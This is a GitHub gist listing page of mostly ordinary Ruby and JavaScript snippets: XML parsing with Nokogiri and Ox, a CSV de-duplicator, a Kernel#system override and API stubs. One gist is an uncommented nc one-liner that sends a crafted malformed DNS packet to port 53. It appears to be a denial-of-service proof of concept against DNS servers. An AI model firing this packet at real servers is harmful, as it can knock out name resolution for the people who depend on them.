Skip to content

Instantly share code, notes, and snippets.

View cheeyeo's full-sized avatar
💭
Researching on use of transformers in computer vision

Chee Yeo cheeyeo

💭
Researching on use of transformers in computer vision
View GitHub Profile
# app/models/importer.rb
class Importer
include ActiveModel::Validations
include ActiveModel::Conversion
VALID_IMPORT_TYPES = ['contact']
validates :import_type, inclusion: { in: VALID_IMPORT_TYPES }
attr_reader :parser, :import_type
@cheeyeo
cheeyeo / xml_parser.rb
Last active August 29, 2015 14:27 — forked from kmile/xml_parser.rb
A small nokogiri xml reader DSL.
# A small DSL for helping parsing documents using Nokogiri::XML::Reader. The
# XML Reader is a good way to move a cursor through a (large) XML document fast,
# but is not as cumbersome as writing a full SAX document handler. Read about
# it here: http://nokogiri.org/Nokogiri/XML/Reader.html
#
# Just pass the reader in this parser and specificy the nodes that you are interested
# in in a block. You can just parse every node or only look inside certain nodes.
#
# A small example:
#
@cheeyeo
cheeyeo / benchmark
Last active August 29, 2015 14:26 — forked from danneu/benchmark
Ox vs Nokogiri: DOM and SAX parsing comparison
# I'm no benchmark guru. Just did a bunch of:
$ time ruby <filename>
# Note: This is just an 80mb XML file with 38,000 nodes.
ox_dom.rb 4.56s user 0.78s system 93% cpu 5.714 total (550mb)
ox_dom.rb 4.58s user 0.79s system 87% cpu 6.126 total (550mb)
ox_dom.rb 4.60s user 0.80s system 87% cpu 6.140 total (550mb)
nokigiri_dom.rb 11.75s user 1.02s system 94% cpu 13.518 total (895mb)
nokigiri_dom.rb 11.36s user 1.02s system 93% cpu 13.211 total (895mb)
module Kernel
def system(*args)
rd, wr = IO.pipe
# Create a new subprocess that will just exec the requested program.
pid = fork do
# The sub-process closes its copy of the reading end of the pipe
# because it only needs to write.
rd.close
@cheeyeo
cheeyeo / CSV Duplication Remover
Last active August 29, 2015 14:26 — forked from murphyslaw/CSV Duplication Remover
A ruby script that removes duplicate rows in a csv file. Duplicates are found based on an identifier column and a criteria column, which are configurable.
#!/usr/bin/ruby -w
require 'csv'
require 'active_support/core_ext'
class Parser
attr_accessor :input_folder
attr_accessor :output_folder
attr_accessor :filename
@cheeyeo
cheeyeo / concept.rb
Created August 1, 2015 21:19
Parse large xml file in Ruby
# Use Nokogiri::XML::SAX::Parser (event-driven parser) and Nokogiri::XML::SAX::Document
require 'nokogiri'
class IDCollector < Nokogiri::XML::SAX::Document
attr :ids
def initialize
@ids = []
@inside_id = false
echo -n $'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x03\x62\x61\x64\x00\x00\xf9\x00\x01\x03\x62\x61\x64\x00\x00\x10\x00\x01\x00\x00\x00\xc8\x00\x06\x05\x68\x65\x6c\x6c\x6f' | nc -u localhost 53
var API = {
get: function() {
return new Promise(function() {
// ... some code to get remotely
});
}
}
var UserAPI = {
getById: function(id) {